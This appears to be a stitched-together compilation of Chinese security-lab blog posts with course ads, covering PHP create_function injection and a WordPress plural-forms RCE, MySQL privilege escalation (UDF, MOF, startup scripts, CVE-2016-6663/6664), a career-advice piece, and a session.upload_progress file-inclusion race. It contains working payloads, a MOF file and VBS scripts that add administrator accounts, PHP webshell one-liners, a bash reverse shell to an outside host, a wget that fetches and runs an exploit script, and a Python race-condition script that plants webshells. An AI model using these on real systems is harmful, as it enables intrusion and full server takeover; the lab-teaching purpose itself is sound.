function lambda_6($str){
echo $str;
phpinfo();
}
?>
分析二:
注入的时候在末尾添加注释符,将后面的内容注释掉即可。
也就是说,我们只需要传如下payload即可:
?Lxxx=;}phpinfo();/*
POSTDATA: ctf=\create_function
WordPress中的create_function()注入
影响范围:
WordPress<=4.6.1
漏洞复现:
WordPress<=4.6.1的版本中,在wp-includes/pomo/translations.php文件中,有一处使用到了create_function函数
涉及到的代码如下:
/**
* Makes a function, which will return the right translation index, according to the
* plural forms header
* @param int $nplurals
* @param string $expression
*/
function make_plural_form_function($nplurals, $expression) {
$expression = str_replace('n', '$n', $expression);
$func_body = "
\$index = (int)($expression);
return (\$index < $nplurals)? \$index : $nplurals - 1;";
return create_function('$n', $func_body);
}
从注释中我们可以知道:这个函数是根据在目录wp-content/languages下语言文件的plural forms这个header来创建函数并返回
首先该函数返回值中可控参数为$func_body,而该参数由$nplurals参数决定$func_body,并且$nplurals由语言文件中的plural forms决定,因此,只需要能控制语言文件,即可控制整一个create_function函数
首先plural forms在如下位置:
我们现在将第九行修改如下:
"Plural-Forms: nplurals=1; plural=n);}eval($_GET[Lxxx]);/*"
用;}将前面的内容闭合,并且使用/*注释掉后面的代码
再将zh_CN.po文件重新编译生成zh_CN.mo,虽然提示有错,但是不影响我们编译。
这个时候在主页传payload:
?Lxxx=phpinfo();
即可得到phpinfo页面,也就达成了RCE。
实验推荐: https://www.yijinglab.com/expc.do?ec=ECID1eae-d41b-4f53-9280-21c9ef9385ba
这次没有如果,带着真题来了
正文:
每周五固定节目又来了!教师节为什么没有更新,因为备课去了,所以这周带着真题来讲解了。
训练终究只是训练,赛场才是最后的考验。真正的比赛中会包含CTF的不同题型,前面的Weekly CTF还在WEB赛段,在其它的题型出来之前,我们今天来提前感受下比赛中的真题,为以后参赛做准备。
本次讲解的是全国大学生网络安全技能大赛“蓝帽杯”的真题,可能大家在网上搜索也能发现很多writeup,不过我们实验室不仅提供解析还准备了实操环境,更绝的是还带视频讲解,这样就完美解决了文字枯燥想睡觉的问题。
今天给大家带来的第一题是WEB题型<杰克与肉丝>,对这就是真实的比赛,搞安全的也不全是耿直大直男只会取专业名词组成的题名,也是偶尔有皮的。这道题的考点大家应该还很熟悉了,前面几周的练习题都是反序列化的,这不真题就来考这个点了。如果有初学者不了解的,也可以上我们实验室的官网搜索关键词“反序列化”,有很多相关的实验可供学习,其它方向的也很齐全,大家按需学习即可,也可以加入讨论群或者咨询线上的客服进一步了解。想快速上手的话我们还有特训班,网络安全的几个方向都有覆盖到,学员的评价也都非常好,讲师无时无刻不在答疑(此处讲师行为惊呆B站官号运营并发了动态),小班授课非流水线模式,良心与实力兼备。
最后希望我们都能拥有很多很多的知识(qian),比赛题题会,考试门门过!我们赛场上见, 并提前祝大家月(kai)饼(xue)节(le)快乐~!
链接直达:http:// https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID9e84-22a0-4aca-a1f2-d6987bb83923 &
mysql提权总结
前言
前两天参加了省赛的内网渗透,在拿到webshell后发现是一个站库分离,通过信息搜集得到了数据库的账号密码,但是是一个www-data权限,执行不了代理的命令,这时候就需要提权到root权限才能够执行命令,最后还没有通过udf提权,而是通过/tmp这个目录能够修改权限,改为777权限后使用的代理。因为linux打得比较少,我们队在这个地方卡了很久,导致只打到了第一层网络,第二层内网就没有时间去打,所以补一下关于mysql的提权知识。
UDF提权
何为UDF
UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。
使用过MySQL的人都知道,MySQL有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。MySQL的内置函数虽然丰富,但毕竟不能满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,幸运的是,MySQL给使用者提供了添加新函数的机制,这种使用者自行添加的MySQL函数就称为UDF(User Define Function)。其实除了UDF外,使用者还可以将函数添加为MySQL的固有(内建)函数,固有函数被编译进mysqld服务器中,称为永久可用的,不过这种方式较添加UDF复杂
UDF利用条件
1.知道数据库的用户和密码;2.mysql可以远程登录;3.mysql有写入文件的权限,即secure_file_priv的值为空。
关于第一点就不用多说了,可以通过拿到webshell之后翻阅文件得到,对于不同情况下有不同得获取方式,这里不再赘述;主要提一下第二三点。
在默认情况下,mysql只允许本地登录,我们知道可以通过navicat去连接数据库(在知道帐号密码的情况下),但是如果只允许本地登录的情况下,即使知道账号密码的情况下也不能够连接上mysql数据库,那么在这种情况下就只有通过拿到本机的高权限rdp登陆远程桌面后连接。
远程连接对应的设置在mysql目录下的/etc/mysql/my.conf文件,对应的设置为bind-address = 127.0.0.1这一行,这是默认情况下的设置,如果我们要允许在任何主机上面都能够远程登录mysql的话,就只要把bind-address改成0.0.0.0即可,即bind-address = 0.0.0.0
光更改配置文件还不够,还需要给远程登陆的用户赋予权限,首先新建一个admin/123456用户,使用%来允许任意ip登录mysql,这样我们就能够通过navicat使用admin/123456用户远程连接到数据库
grant all on *.* to admin@'%' identified by '123456' with grant option;
flush privileges;
关于第三点的secure_file_priv参数,这里有三个值,分别为NULL、/tmp、空,NULL顾名思义即不允许导入或导出,那么在这种情况下就不能使用sql语句向数据库内写入任何语句,/tmp的意思是只能在/tmp目录下写入文件,这种情况下就需要考虑写入文件到文件夹后能否在网页上访问连接到这个目录,如果这个值为空,那么就可以通过构造sql语句向mysql数据库下的任何目录写入文件。
这里还有一个需要了解的点就是在mysql5.5版本之前secure_file_priv这个值是默认为空的,那么我们拿到的webshell如果对应的mysql数据库版本在5.5以下的话操作起来就比较方便,在mysql5.5版本之后secure_file_priv这个值是默认为NULL的,即不能够往数据库内写入文件。
手动提权
首先这里现在官网下载一个mysql,这里我下载的是5.5.19,注意这里需要下msi文件,不要下zip文件
下载好后进行安装即可
这里使用utf-8字符集
安装好后使用mysql -u root -p进入mysql
因为我是5.5.19版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。这里说到了动态链接库,动态链接库就是实现共享函数库概念的一种方式,在windows环境下后缀名为.dll,在linnux环境下后缀名为.so
那么这里利用.dll或.so文件在哪里去找呢?这两个文件在sqlmap和msf里面都有内置
首先在sqlmap里面找一下,在sqlmap里面对应的目录地址为udf/mysql,这里进入目录后可以看到sqlmap已经帮我们分好类了
不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。这里如果后缀名为.so_或dll_的话,就需要解码,如果后缀名为.so或.dll的话就不需要解码即可直接使用。这里sqlmap也自带了解码的py脚本,在/extra/cloak目录下,使用cloak.py解密即可。
命令如下(这里使用到64位的dll,其他版本改后缀名即可)
python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
这里好像因为我本机的环境配置的问题这里py3没有执行成功,这里换到kali环境里面使用py2解密
python2 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
另外可以用msf提供的动态链接库文件,这里注意msf里面的动态链接库是已经解密好了的可以直接使用,msf下的动态链接库目录如下
/usr/share/metasploit-framework/data/exploits/mysql/
直接拿出来使用010 editor进行查看是包含了一些函数
解密过程完成之后就需要把解密得到的UDF动态链接库文件放到mysql的插件目录下,这里使用如下命令查询插件目录的位置
show variables like "%plugin%";
这里可以看到我的插件目录就是C:\Program Files\MySQL\MySQL Server 5.5\lib/plugin
使用select @@basedir查看一下MySQL安装的位置
这里因为只单独安装了一个MySQL,没有安装其他的web,所以为了更好的还原环境,这里使用phpstudy来搭建环境,这里假设我已经拿到了一个目标机器的webshell,但是这里权限很低,使用到udf提权
首先来到MySQL/lib文件夹下,这里可以看到是没有plugin这个文件夹的,所以这里需要我们先创建一个文件夹
创建plugin文件夹
然后把解密过后的lib_mysqludf_sys_64.dll放到plugin文件夹下
这里为了方便我把dll改名为udf.dll,但是这里报错ERROR 1126,这里我百度过后发现这个dll并不是跟系统位数有关的,而是跟mysql版本有关系,而且phpstudy自带的mysql版本需要用32位的dll才能够操作
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
这里我上传一个32位的dll到plugin文件夹内
再使用命令创建自定义函数即可
然后使用命令查看是否新增了sys_eval函数
select * from mysql.func;
可以看到这里创建成功那么就可以执行系统命令,到这里就是一个高权限了,而且如果有disable_functions把函数禁用了,用udf提权也是能够操作的
拓展:UDF shell
允许外连
这里可以使用写好的大马https://github.com/echohun/tools/blob/master/%E5%A4%A7%E9%A9%AC/udf.php来自动提权,我们测试一下
首先把php上传到可以网页访问的位置,这里我直接连接报错了应该是因为没有设置可以外连,只允许本地连接,首先实验一下允许外联的情况
这里进入my.ini文件设置bind-address = 0.0.0.0
然后创建一个admin/123456用户允许外连
再次登录即可登录成功
这里首先dump udf.dll到plugin文件夹下,这里可以看到dump dll成功
然后创建函数,再执行命令即可
不允许外连
这里我们再把bind-address = 0.0.0.0这行注释掉之后进行试验,因为不允许外连,那么只有本地连接数据库,这时候很容易想到正向连接我们代理进去连接数据库。这里使用reg、ew都可以,但是这里因为是mysql的原因,使用navicat自带的tunnel脚本会更加方便。
首先测试一下,是不允许外连的(这里图搞错了)
这里上传nutunnel_mysql.php到靶机上访问,这里看到已经连接成功了
然后连接的时候设置HTTP隧道
即可连接到mysql,然后提权操作同前
MOF提权
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
利用条件
只使用于windows系统,一般低版本系统才可以用,比如xp、server2003
对C:\Windows\System32\wbem\MOF目录有读写权限
可以找到一个可写目录,写入mof文件
手动提权
这里我没有安装2003的虚拟机,所以就不放图了,写一下提权的步骤
生成testmod.mod文件并上传到靶机的可写目录
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test123 /add\")\nWSH.run(\"net.exe localgroup administrators test /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
进入mysql命令行执行导入命令,导入完成过后系统会自动运行
select load_file("nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
使用net user命令即可发现已经加入了管理员组
msf提权
msf内置了MOF提权模块,相比于手动提权的好处就是msf的MOF模块有自动清理痕迹的功能
use exploit/windows/mysql/mysql_mofset payload windows/meterpreter/reverse_tcpset rhosts 192.168.10.17set username rootset password rootrun
拓展
因为每隔几分钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件,这个时候再删除用户才会有效果
# 停止 winmgmt 服务net stop winmgmt# 删除 Repository 文件夹rmdir /s /q C:\Windows\system32\wbem\Repository\# 手动删除 mof 文件del C:\Windows\system32\wbem\mof\good\test.mof /F /S# 删除创建的用户net user hacker /delete# 重新启动服务net start winmgmt
启动项提权
windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。
这个地方既然碰到了启动项提权,就总结一下不限于mysql的启动项提权方法。
启动项路径
在windows2003的系统下,启动项路径如下:
C:\Documents and Settings\Administrator\「开始」菜单\程序\启动C:\Documents and Settings\All Users\「开始」菜单\程序\启动
在windows2008的系统下,启动项路径如下:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartupC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
自动化脚本
我们在拿到一个网站的webshell的时候如果想进一步的获得网站的服务器权限,查看服务器上系统盘的可读可写目录,若是启动目录 “C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” 是可读可写的,我们就可以执行上传一个vbs或者bat的脚本进行提权。
这里使用test.vbs添加用户密码,上传到启动目录重启的时候即可自动添加账号密码
set wshshell=createobject("wscript.shell")a=wshshell.run("cmd.exe /c net user test test123 /add",0)b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)
使用sql语句
连接到mysql之后创建一个表写入sql语句
use mysql;create table test(cmd text);insert into a values(“set wshshell=createobject(“”wscript.shell””)”);insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);select * fro
重启之后即可提权
CVE-2016-6663&CVE-2016-6664
CVE-2016-6663是竞争条件(race condition)漏洞,它能够让一个低权限账号(拥有CREATE/INSERT/SELECT权限)提升权限并且以系统用户身份执行任意代码。也就是说,我们可以通过他得到一整个mysql的权限。
CVE-2016-6664是root权限提升漏洞,这个漏洞可以让拥有MySQL系统用户权限的攻击者提升权限至root,以便进一步攻击整个系统。
导致这个问题的原因其实是因为MySQL对错误日志以及其他文件的处理不够安全,这些文件可以被替换成任意的系统文件,从而被利用来获取root权限。可以看到,两个cve分别是用来将低权限的www-data权限提升为mysql权限,然后再将mysql提升为root权限。
利用条件
CVE-2016-6663
1.已经getshell,获得www-data权限
2.获取到一个拥有create,drop,insert,select权限的数据库账号,密码
3.提权过程需要在交互式的shell环境中运行,所以需要反弹shell再提权
4.Mysql<5.5.51或<5.6.32或<5.7.14
CVE-2016-6664
1.目标主机配置必须是是基于文件的日志(默认配置),也就是不能是syslog方式(通过cat /etc/mysql/conf.d/mysqld_safe_syslog.cnf查看没有包含“syslog”字样即可)
2.需要在mysql权限下运行才能利用
3.Mysql<5.5.51或<5.6.32或<5.7.14
环境搭建
这里使用到tutum/lamp的镜像环境,运行docker并连接
docker pull tutum/lampdocker run -d -P tutum/lampdocker psdocker exec -it b9 /bin/bash
安装apt,wget,gcc,libmysqlclient-dev
apt updateapt install -y wget gcc libmysqlclient-dev
写入一个一句话木马方便后续连接,这里注意,linux环境下用echo命令写入木马需要加' '进行转义,否则会报错
cd /var/htmlecho '<?php @eval($_POST['hacker']); ?>' > shell.php
给web路径赋予777权限
chmod -R 777 /var/www/html
进入mysql环境添加一个对test库有create,drop,insert,select权限的test用户,密码为123456
将apache2和mysql服务重启并重新保存容器,将新容器的80端口映射到8080端口,3306映射到3306端口的方式运行容器。
service restart apache2service restart mysqlocker commit c0ae81326db0 test/lampdocker run -d -p 8080:80 -p 3306:3306 test/lamp
访问一下8080端口若出现如下界面则环境搭建成功
CVE-2016-6663
cve-2016-6663即将www-data权限提升为mysql权限,首先连接我们之前写入的webshell
首先看一下权限跟目录的可执行状况,可以看到html目录下是777
然后写入exp,命名为mysql-privesc-race.c,exp如下所示
#include <fcntl.h>#include <grp.h>#include <mysql.h>#include <pwd.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/inotify.h>#include <sys/stat.h>#include <sys/types.h>#include <sys/wait.h>#include <time.h>#include <unistd.h>#define EXP_PATH "/tmp/mysql_priv
这里我直接用蚁剑执行的话执行不了
使用nc配合bash命令反弹后执行命令,即可从www-data权限提升到mysql权限
nc -lvvp 7777/bin/bash -i >& /dev/tcp/192.168.2.161/7777 0>&1cd var/www/html/gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient./mysql-privesc-race test 123456 localhost test
CVE-2016-6664
cve-2016-6664即把mysql权限提升到root权限
tutum/lamp日志方式不是默认的基于文件的日志,而是syslog,所以我们首先要将它改为默认配置
vi /etc/mysql/conf.d/mysqld_safe_syslog.cnf
删除掉syslog,然后重启mysql
使用exp
#!/bin/bash -p## MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit# mysql-chowned.sh (ver. 1.0)## CVE-2016-6664 / OCVE-2016-5617## Discovered and coded by:## Dawid Golunski# dawid[at]legalhackers.com## https://legalhackers.com## Follow https://twitter.com/dawid_golunski for updates
在刚才mysql权限的shell中下载提权脚本并执行,即可得到root权限
wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.shchmod 777 mysql-chowned.sh./mysql-chowned.sh /var/log/mysql/error.log
点击链接开始实验:https://www.yijinglab.com/expc.do?ce=aeffe339-186d-4c81-bcac-c647aa77ddd0
udf通过添加新函数,对MySQL的功能进行扩充,使用UDF提权原理就是通过引入udf.dll,引入自定义函数,执行系统命令。通过实验学习真实渗透场景中的MySQL udf提权方法,掌握两种dll文件导入方式,通过udf提权执行系统命令。
应届生or准应届生甲乙方怎么选
前言
本人情况:三非(非985、211非信安专业),拿过一些国家级奖项,参加过小hvv。暑期找实习的时候,从甲乙方offer中,选择了甲方安全。就着这三个月的甲方工作,对应届生和准应届生的offer该如何选择做一个分析,帮助一下还在找工作的同学。
甲方,乙方
甲方一般是指提出目标的一方,在合同拟订过程中主要是提出要实现什么目标。
乙方一般是指完成目标,在合同中主要是提出如何保证实现,并根据完成情况获取收益的一方。
在合同过程中,甲方主要是监督乙方是否完全按照要求提供自身需求的满足。 在合同执行结束后,甲方一般需要付出资金或者其他,以获得自身需求所需要的东西。通俗点说,甲方就是出钱的,乙方就是出力的。安全中的甲方,大多是监管方(如政府机关中的信安部门)以及互联网公司,乙方自然就是qax、某恒,某信服这些。
差异性
1.薪资。下面的第一张图是北京某互联网公司的薪资,第二张图是国内某一线安全厂商安全实验室薪资,谁高谁低一目了然。尤其在北京这样寸土寸金的地方,多六千块钱的生活质量还是差别挺大的。
2.工作性质。互联网公司的安全工程师,主要是负责公司内部的安全建设,包括对自家开发的各类产品进行渗透测试,一般产品都会在渗透测试通过后方可上线(渗透);自研防火墙、扫描器、蜜罐等安全产品(安全开发);把监管部门的合规要求转换成公司的安全项目来推进,避免上线产品因各种原因导致公司财产遭到损失(安全合规);对公司内安全建设进行推进(安全运营)等等
而乙方的安全岗位主要是有三种,安全驻场,主要负责对部署在甲方上的服务(如WAF、IDS、IPS等设备)进行维护和查看,对甲方的应用进行安全扫描,一般都是使用某ray,某by之类的软件一顿扫即可;渗透测试工程师,给你几个站让你去测试,然后生成一个测试报告,这会比较考验你的基本功是否扎实,因为会涉及到各种的绕过;安全研究工程师,算得上是乙方中站在顶端的岗位,需要你有一个扎实的基础,因为你的kpi可能是某软,某果或者其他大型IT公司的致谢、也可能是挖到了某款CMS的RCE漏洞、亦或是在某hvv项目中崭露头角等等高逼格的成绩
3.个人提升。在笔者角度上看,甲方大部分岗位和安全研究的天花板是很高的。在甲方安全的三个月里,跟不少同事都有接触,告诉我的是,甲方安全更重要的是要把控整个公司的安全视角,将安全问题从发现到治理形成一个完整的闭环,所以不仅需要有一个扎实的基础,还需要有一定的沟通(和业务撕*)能力,以及一颗大心脏,毕竟互联网公司995不是谁都受得了的。再说到安全研究岗,上班的很多时间都是在学习新的东西,比如近几年比较火的ATT&CK框架,研究如何绕过市面上的WAF,复现网上最新的漏洞、编写POC等等。
offer难度
抛开独角兽公司(byte、ali、tx)不说,难度划分:互联网公司安全实验室>一线安全厂商安全实验室研究岗>=甲方互联网公司岗位>渗透测试岗位>驻场。
选择
当然,如果能拿下BAT的offer自然是去BAT了,毕竟没人跟钱过不去。笔者觉得,刚进入安全行业的萌新其实并没有过深的安全知识,如果能到安全实验室的研究岗位去学习深造一年,再去冲击互联网公司,对职业发展来说会大有裨益(安全大佬们请直接冲ali or tx的实验室)。
一些tips
1.因为笔者的三非经历,校内少有安全相关课程,很幸运的加入学校的安全社团,有学长和老师的支持下对安全有了一定的理解,这时候配合蚁景实验室靶场就事半功倍了。
2.安全目前来说还不是很卷,总结一下就是目前开设信安的高校不多,从事安全的同学基本都是自学为主。所以很多身边同事并非科班出身包括自己,大专学历也并非没有,所以感兴趣的同学可以尽早入行上车~
3.学习安全一定得有明确的学习路线,比如说渗透和安全开发,两者的学习路线就有明显的差异,找到自己的兴趣点,坚持学下去会有收获的。
以上是笔者在实习三个月的感受,欢迎行业内的大佬们进行批评指正~
【文件包含&条件竞争】详解如何利用session.upload_progress文件包含进行RCE
什么是session.upload_progress?
与open_basedir、allow_url_fopen、allow_url_include等PHP配置一样,session.upload_progress也是PHP的一个功能,同样可以在php.ini中设置相关属性。其中最重要的几个设置如下:
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.upload_progress.enabled可以控制是否开启session.upload_progress功能
session.upload_progress.cleanup可以控制是否在上传之后删除文件内容
session.upload_progress.prefix可以设置上传文件内容的前缀
session.upload_progress.name的值即为session中的键值
session.upload_progress开启之后会有什么效果?
当我们将session.upload_progress.enabled的值设置为on时,此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。
问题1:
那么这个时候就会有一个前提条件,就是如何初始化session并且把session中的内容写到文件中去呢?
分析1:
我们可以注意到,php.ini中session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx时,PHP就会生成一个文件/tmp/sess_Lxxx,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx中去,具体文件的内容是什么,后面会写到。
问题2:
当session.upload_progress.cleanup的值为on时,即使上传文件,但是上传完成之后文件内容会被清空,这怎么办?
分析2:
利用Python的多线程,进行条件竞争。
如何利用session.upload_progress进行RCE?
然而,理论再多也没用,还是得一步步调试,看看在文件上传的时候,整一个PHP服务端到底发生了什么。所以还是需要做实验。
首先,在网站根目录下随便新建一个test.php文件
然后写一个Python程序用于往服务器上上传文件:
这里有几个注意点:
上传的文件大小为50KB,文件名为Lxxx.jpg
该程序设置的sessionid为Lxxx,也就是说会在/tmp目录下生成sess_Lxxx文件
该程序设置的PHP_SESSION_UPLOAD_PROGRESS值为一句话木马,也就是说,在理论上,一句话木马会被写入到/tmp/sess_Lxxx中
import requests
import io
url = "http://192.168.2.128/test.php"
sessid = "Lxxx"
def write(session):
filebytes = io.BytesIO(b'a' * 1024 * 50)
while True:
res = session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
},
cookies={
'PHPSESSID': sessid
},
files={
'file': ('Lxxx.jpg', filebytes)
}
)
if __name__ == "__main__":
with requests.session() as session:
write(session)
执行程序后,我们需要用tail -f命令实时查看/tmp/sess_Lxxx文件,因为在本地测试速度比较快,如果使用cat命令,文件内容还没输出就被删除了。
tail -f /tmp/sess_Lxxx
结果如下:
也就是说,/tmp/sess_Lxxx文件中的内容为:
upload_progress_<?php eval($_POST[1]);?>|a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:16
仔细分析一下该文件内容,该文件分为两块,以竖线|区分。
第一块内容如下:
upload_progress_<?php eval($_POST[1]);?>
这一块内容由以下两个值组成:session.upload_progress.name+PHP_SESSION_UPLOAD_PROGRESS
第二块内容如下:
a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1631343214;s:15:"bytes_processed";i:276;}}}
一看就是序列化之后的值,我们将其进行反序列化后输出:
array(5) {
["start_time"]=>
int(1631343214)
["content_length"]=>
int(276)
["bytes_processed"]=>
int(276)
["done"]=>
bool(false)
["files"]=>
array(1) {
[0]=>
array(7) {
["field_name"]=>
string(4) "file"
["name"]=>
string(8) "Lxxx.jpg"
["tmp_name"]=>
NULL
["error"]=>
int(0)
["done"]=>
bool(false)
["start_time"]=>
int(1631343214)
["bytes_processed"]=>
int(276)
}
}
}
可以看到这里记录了文件上传时间、文件大小、文件名称等等文件属性。
接下来在网站根目录新建一个test.php文件,文件内容如下:
<?php
$a = $_GET["a"];
include($a);
很明显有一个文件包含的漏洞。
接下来我们利用session.upload_progress进行条件竞争
以下代码有几个注意点:
首先,函数write和上面的是一样的,这里就不做过多的赘述了
整个代码的思路就是,往/tmp/sess_Lxxx文件中写入一句话木马,密码为1,然后用题目中的文件包含漏洞,包含这一个文件,在函数read中尝试利用/tmp/sess_Lxxx的一句话往网站根目录文件1.php写一句话木马,密码为2
利用Python的多线程,一边上传文件,一边尝试往根目录中写入1.php,如果成功写入了,就打印输出“成功写入一句话”
这里利用Python的threading模块,开5个线程进行条件竞争
代码如下:
import requestsimport ioimport threadingurl = "http://192.168.2.128/test.php"sessid = "Lxxx"def write(session): filebytes = io.BytesIO(b'a' * 1024 * 50) while True: res = session.post(url, data={ 'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>" }, cookies={ 'PHPSESSID': sessid }, files={ 'f
代码执行结果如下:
一开始会一直显示Retry,但是只要运行一段时间就会成功写入一句话。
可以在网站根目录看到,成功写入一句话。
参考资料
Nu1L战队的书籍《从0到1 CTFer成长之路》 P140-141
https://www.freebuf.com/vuls/202819.html
点击链接进行实验:https://www.yijinglab.com/expc.do?ec=ECID39ee-9db2-47bc-9fa1-29150748681b
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

